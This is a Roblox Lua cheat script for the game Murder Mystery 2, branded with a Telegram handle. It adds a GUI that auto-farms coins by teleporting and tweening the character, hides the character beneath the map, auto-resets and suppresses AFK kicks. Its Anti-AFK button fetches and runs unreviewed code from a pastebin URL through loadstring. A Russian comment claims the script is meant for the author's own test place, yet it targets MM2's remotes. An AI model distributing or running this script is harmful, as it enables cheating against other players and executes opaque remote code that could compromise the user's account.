Загрузка данных


if not game:IsLoaded() then game.Loaded:Wait() end

local Players = game:GetService("Players")
local TweenService = game:GetService("TweenService")
local RunService = game:GetService("RunService")
local UserInputService = game:GetService("UserInputService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local VirtualUser = game:GetService("VirtualUser")
local workspace = game:GetService("Workspace")
local player = Players.LocalPlayer

if player.PlayerGui:FindFirstChild("MM2_UI") then
    player.PlayerGui.MM2_UI:Destroy()
end

local autoFarmEnabled = false
local autoResetEnabled = false
local disableRenderEnabled = false
local antiAFKUsed = false

local gui = Instance.new("ScreenGui", player.PlayerGui)
gui.Name = "MM2_UI"
gui.ResetOnSpawn = false
gui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling

local frame = Instance.new("Frame", gui)
frame.Size = UDim2.new(0, 350, 0, 300)
frame.Position = UDim2.new(0.5, -175, 0.5, -150)
frame.BackgroundColor3 = Color3.fromRGB(30, 30, 40)
frame.BackgroundTransparency = 0.15
frame.BorderSizePixel = 0
Instance.new("UICorner", frame).CornerRadius = UDim.new(0, 12)
Instance.new("UIStroke", frame).Color = Color3.fromRGB(100, 100, 150)

frame.Size = UDim2.new(0, 0, 0, 0)
TweenService:Create(frame, TweenInfo.new(0.5, Enum.EasingStyle.Quint, Enum.EasingDirection.Out), {
    Size = UDim2.new(0, 350, 0, 300)
}):Play()

local titleBar = Instance.new("Frame", frame)
titleBar.Size = UDim2.new(1, 0, 0, 40)
titleBar.Position = UDim2.new(0, 0, 0, 0)
titleBar.BackgroundColor3 = Color3.fromRGB(20, 20, 30)
titleBar.BorderSizePixel = 0
Instance.new("UICorner", titleBar).CornerRadius = UDim.new(0, 12)

local title = Instance.new("TextLabel", titleBar)
title.Size = UDim2.new(1, -40, 1, 0)
title.Position = UDim2.new(0, 10, 0, 0)
title.BackgroundTransparency = 1
title.Text = "MM2 | TG:DAIMON200"
title.TextColor3 = Color3.fromRGB(255, 255, 255)
title.Font = Enum.Font.GothamBold
title.TextSize = 18
title.TextXAlignment = Enum.TextXAlignment.Left

local closeBtn = Instance.new("TextButton", titleBar)
closeBtn.Size = UDim2.new(0, 30, 0, 30)
closeBtn.Position = UDim2.new(1, -35, 0, 5)
closeBtn.Text = "в”Ђ"
closeBtn.BackgroundColor3 = Color3.fromRGB(40, 40, 60)
closeBtn.TextColor3 = Color3.new(1, 1, 1)
closeBtn.Font = Enum.Font.GothamBold
closeBtn.TextSize = 18
Instance.new("UICorner", closeBtn).CornerRadius = UDim.new(1, 0)

local contentBg = Instance.new("Frame", frame)
contentBg.Size = UDim2.new(1, -20, 1, -60)
contentBg.Position = UDim2.new(0, 10, 0, 50)
contentBg.BackgroundColor3 = Color3.fromRGB(25, 25, 35)
contentBg.BackgroundTransparency = 0.3
contentBg.BorderSizePixel = 0
Instance.new("UICorner", contentBg).CornerRadius = UDim.new(0, 8)

local content = Instance.new("ScrollingFrame", contentBg)
content.Size = UDim2.new(1, -10, 1, -10)
content.Position = UDim2.new(0, 5, 0, 5)
content.BackgroundTransparency = 1
content.ScrollBarThickness = 5
content.CanvasSize = UDim2.new(0, 0, 0, 500)
content.AutomaticCanvasSize = Enum.AutomaticSize.Y

local function createToggle(yPos, labelText, defaultValue, callback)
    local toggleContainer = Instance.new("Frame", content)
    toggleContainer.Size = UDim2.new(1, 0, 0, 40)
    toggleContainer.Position = UDim2.new(0, 0, 0, yPos)
    toggleContainer.BackgroundTransparency = 1
    
    local label = Instance.new("TextLabel", toggleContainer)
    label.Size = UDim2.new(0.7, 0, 1, 0)
    label.Position = UDim2.new(0, 0, 0, 0)
    label.BackgroundTransparency = 1
    label.Text = labelText
    label.TextColor3 = Color3.new(1, 1, 1)
    label.Font = Enum.Font.GothamSemibold
    label.TextSize = 16
    label.TextXAlignment = Enum.TextXAlignment.Left

    local toggleBg = Instance.new("TextButton", toggleContainer)
    toggleBg.Size = UDim2.new(0, 60, 0, 30)
    toggleBg.Position = UDim2.new(1, -65, 0.5, -15)
    toggleBg.BackgroundColor3 = defaultValue and Color3.fromRGB(0, 180, 120) or Color3.fromRGB(80, 80, 80)
    toggleBg.Text = ""
    toggleBg.AutoButtonColor = false
    Instance.new("UICorner", toggleBg).CornerRadius = UDim.new(1, 0)
    Instance.new("UIStroke", toggleBg).Color = Color3.fromRGB(120, 120, 120)

    local toggleKnob = Instance.new("Frame", toggleBg)
    toggleKnob.Size = UDim2.new(0, 24, 0, 24)
    toggleKnob.Position = defaultValue and UDim2.new(1, -27, 0.5, -12) or UDim2.new(0, 3, 0.5, -12)
    toggleKnob.BackgroundColor3 = Color3.new(1, 1, 1)
    Instance.new("UICorner", toggleKnob).CornerRadius = UDim.new(1, 0)
    Instance.new("UIStroke", toggleKnob).Color = Color3.fromRGB(180, 180, 180)

    toggleBg.MouseButton1Click:Connect(function()
        defaultValue = not defaultValue
        local pos = defaultValue and UDim2.new(1, -27, 0.5, -12) or UDim2.new(0, 3, 0.5, -12)
        local color = defaultValue and Color3.fromRGB(0, 180, 120) or Color3.fromRGB(80, 80, 80)
        TweenService:Create(toggleKnob, TweenInfo.new(0.2, Enum.EasingStyle.Quad), { Position = pos }):Play()
        TweenService:Create(toggleBg, TweenInfo.new(0.2, Enum.EasingStyle.Quad), { BackgroundColor3 = color }):Play()
        callback(defaultValue)
    end)
    
    return toggleContainer
end

createToggle(10, "Auto Farm", autoFarmEnabled, function(value) autoFarmEnabled = value end)
createToggle(60, "Auto Reset", autoResetEnabled, function(value) autoResetEnabled = value end)
createToggle(110, "Disable Render", disableRenderEnabled, function(value)
    disableRenderEnabled = value
    RunService:Set3dRenderingEnabled(not disableRenderEnabled)
end)

local afkBtn = Instance.new("TextButton", content)
afkBtn.Size = UDim2.new(1, 0, 0, 40)
afkBtn.Position = UDim2.new(0, 0, 0, 210)
afkBtn.BackgroundColor3 = antiAFKUsed and Color3.fromRGB(70, 160, 70) or Color3.fromRGB(60, 60, 90)
afkBtn.Text = antiAFKUsed and "Anti-AFK: ON" or "Enable Anti-AFK"
afkBtn.TextColor3 = Color3.new(1, 1, 1)
afkBtn.Font = Enum.Font.GothamBold
afkBtn.TextSize = 16
Instance.new("UICorner", afkBtn).CornerRadius = UDim.new(0, 8)
Instance.new("UIStroke", afkBtn).Color = Color3.fromRGB(120, 120, 120)

afkBtn.MouseButton1Click:Connect(function()
    if not antiAFKUsed then
        antiAFKUsed = true
        afkBtn.Text = "Anti-AFK: ON"
        afkBtn.BackgroundColor3 = Color3.fromRGB(70, 160, 70)
        loadstring(game:HttpGet("https://pastebin.com/raw/bwP4bmed"))()
    end
end)

local startTime = tick()
local playTimeLabel = Instance.new("TextLabel", content)
playTimeLabel.Size = UDim2.new(1, 0, 0, 30)
playTimeLabel.Position = UDim2.new(0, 0, 0, 260)
playTimeLabel.BackgroundTransparency = 1
playTimeLabel.Text = "Play Time: 00:00:00"
playTimeLabel.TextColor3 = Color3.fromRGB(200, 200, 200)
playTimeLabel.Font = Enum.Font.Gotham
playTimeLabel.TextSize = 14
playTimeLabel.TextXAlignment = Enum.TextXAlignment.Left

task.spawn(function()
    while true do
        local delta = math.floor(tick() - startTime)
        local h = math.floor(delta/3600)
        local m = math.floor((delta%3600)/60)
        local s = delta%60
        playTimeLabel.Text = string.format("Play Time: %02d:%02d:%02d", h, m, s)
        task.wait(1)
    end
end)

local dragging = false
local dragInput
local dragStart
local startPos

local function updateInput(input)
    local delta = input.Position - dragStart
    local newPos = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
    frame.Position = newPos
end

frame.InputBegan:Connect(function(input)
    if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
        dragging = true
        dragStart = input.Position
        startPos = frame.Position
        
        local connection
        connection = input.Changed:Connect(function()
            if input.UserInputState == Enum.UserInputState.End then
                dragging = false
                connection:Disconnect()
            end
        end)
    end
end)

frame.InputChanged:Connect(function(input)
    if input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch then
        dragInput = input
    end
end)

UserInputService.InputChanged:Connect(function(input)
    if dragging and (input == dragInput or input.UserInputType == Enum.UserInputType.Touch) then
        updateInput(input)
    end
end)

local isHidden = false
closeBtn.MouseButton1Click:Connect(function()
    isHidden = not isHidden
    local newSize = isHidden and UDim2.new(0, 350, 0, 40) or UDim2.new(0, 350, 0, 300)
    closeBtn.Text = isHidden and "+" or "в”Ђ"
    TweenService:Create(frame, TweenInfo.new(0.3, Enum.EasingStyle.Quad), { Size = newSize }):Play()
    contentBg.Visible = not isHidden
end)

local CoinCollected = ReplicatedStorage.Remotes.Gameplay.CoinCollected
local RoundStart = ReplicatedStorage.Remotes.Gameplay.RoundStart
local RoundEnd = ReplicatedStorage.Remotes.Gameplay.RoundEndFade

local farming = false
local bag_full = false
local resetting = false
local start_position = nil

player.Idled:Connect(function()
    VirtualUser:CaptureController()
    VirtualUser:ClickButton2(Vector2.new())
end)

local function getCharacter() return player.Character or player.CharacterAdded:Wait() end
local function getHRP() return getCharacter():WaitForChild("HumanoidRootPart") end

CoinCollected.OnClientEvent:Connect(function(_, current, max)
    if current == max and not resetting and autoResetEnabled then
        resetting = true
        bag_full = true
        local hrp = getHRP()
        if start_position then
            local tween = TweenService:Create(hrp, TweenInfo.new(2, Enum.EasingStyle.Linear), {CFrame = start_position})
            tween:Play()
            tween.Completed:Wait()
        end
        task.wait(0.5)
        player.Character.Humanoid.Health = 0
        player.CharacterAdded:Wait()
        task.wait(1.5)
        resetting = false
        bag_full = false
    end
end)

RoundStart.OnClientEvent:Connect(function()
    farming = true
    start_position = getHRP().CFrame
end)

RoundEnd.OnClientEvent:Connect(function()
    farming = false
end)

local function get_nearest_coin()
    local hrp = getHRP()
    local closest, dist = nil, math.huge
    for _, m in pairs(workspace:GetChildren()) do
        if m:FindFirstChild("CoinContainer") then
            for _, coin in pairs(m.CoinContainer:GetChildren()) do
                if coin:IsA("BasePart") and coin:FindFirstChild("TouchInterest") then
                    local d = (hrp.Position - coin.Position).Magnitude
                    if d < dist then closest, dist = coin, d end
                end
            end
        end
    end
    return closest, dist
end

-- ========= НОВОЕ: функции скрытия и восстановления персонажа (для собственного тестового Place) =========
local savedProperties = {}
local hideConnection = nil
local restoreOnCharacterAdded = true

local function saveAndHideCharacter()
    local char = player.Character
    if not char then return end
    savedProperties = {parts = {}, humanoid = {}}
    local humanoid = char:FindFirstChildOfClass("Humanoid")
    if humanoid then
        savedProperties.humanoid.DisplayDistanceType = humanoid.DisplayDistanceType
        savedProperties.humanoid.PlatformStand = humanoid.PlatformStand
        savedProperties.humanoid.AutoRotate = humanoid.AutoRotate
        -- применяем "невидимость" для имени / индикатора
        pcall(function() humanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None end)
        pcall(function() humanoid.PlatformStand = true end)
        pcall(function() humanoid.AutoRotate = false end)
    end

    for _, obj in pairs(char:GetDescendants()) do
        if obj:IsA("BasePart") then
            savedProperties.parts[obj] = {Transparency = obj.Transparency, CanCollide = obj.CanCollide}
            obj.Transparency = 1
            obj.CanCollide = false
        elseif obj:IsA("Decal") or obj:IsA("Texture") then
            savedProperties.parts[obj] = {Transparency = obj.Transparency}
            obj.Transparency = 1
        end
    end

    -- подключаем постоянное удержание под картой (если есть start_position)
    if hideConnection then hideConnection:Disconnect() hideConnection = nil end
    hideConnection = RunService.Heartbeat:Connect(function()
        if not autoFarmEnabled or not farming then return end
        local hrp = char:FindFirstChild("HumanoidRootPart")
        if hrp and start_position then
            local targetY = start_position.p.Y - 50 -- глубина под картой (можешь менять)
            -- сохраняем X,Z чтобы не мешать сбору монет (если нужно менять, см. ниже)
            local tx = hrp.Position.X
            local tz = hrp.Position.Z
            -- делаем "лежа": добавим наклон по X (поворот)
            local rot = CFrame.Angles(math.rad(90), 0, 0)
            hrp.CFrame = CFrame.new(tx, targetY, tz) * rot
        end
    end)
end

local function restoreCharacter()
    if hideConnection then
        hideConnection:Disconnect()
        hideConnection = nil
    end
    local char = player.Character
    if not char then return end
    local humanoid = char:FindFirstChildOfClass("Humanoid")
    if humanoid and savedProperties.humanoid then
        pcall(function() humanoid.DisplayDistanceType = savedProperties.humanoid.DisplayDistanceType end)
        pcall(function() humanoid.PlatformStand = savedProperties.humanoid.PlatformStand end)
        pcall(function() humanoid.AutoRotate = savedProperties.humanoid.AutoRotate end)
    end

    for obj, props in pairs(savedProperties.parts or {}) do
        if obj and obj.Parent then
            pcall(function()
                if props.Transparency ~= nil then obj.Transparency = props.Transparency end
                if props.CanCollide ~= nil and obj:IsA("BasePart") then obj.CanCollide = props.CanCollide end
            end)
        end
    end
    savedProperties = {}
end

-- Восстанавливаем при появлении нового персонажа (чтобы не застрять невидимым)
player.CharacterAdded:Connect(function(char)
    -- даём небольшую паузу чтобы частям дали загрузиться
    task.delay(0.1, function()
        if not autoFarmEnabled or not farming then
            restoreCharacter()
        else
            -- если автофарм включён и раунд идёт — применим скрытие к новому чару
            saveAndHideCharacter()
        end
    end)
end)
-- =================================================================================

task.spawn(function()
    while true do
        if autoFarmEnabled and farming and not bag_full then
            local coin, dist = get_nearest_coin()
            if coin then
                local hrp = getHRP()
                if dist > 150 then
                    -- при дальнем расстоянии телепортируем HRP ближе (оставляя режим скрытия включённым)
                    hrp.CFrame = coin.CFrame
                else
                    local tween = TweenService:Create(hrp, TweenInfo.new(dist / 20, Enum.EasingStyle.Linear), {CFrame = coin.CFrame})
                    tween:Play()
                    repeat task.wait() until not coin:FindFirstChild("TouchInterest") or not farming or not autoFarmEnabled
                    tween:Cancel()
                end
            end
        end

        -- управление скрытием: когда автофарм включён + идёт раунд — скрываем; иначе восстанавливаем
        if autoFarmEnabled and farming then
            -- если персонаж ещё не скрыт — скрываем
            if not (savedProperties and next(savedProperties) ~= nil) then
                -- небольшая защита: подождём пока character загрузится
                pcall(saveAndHideCharacter)
            end
        else
            -- отключили автофарм или раунд закончился — восстановим если нужно
            pcall(restoreCharacter)
        end

        task.wait(0.2)
    end
end)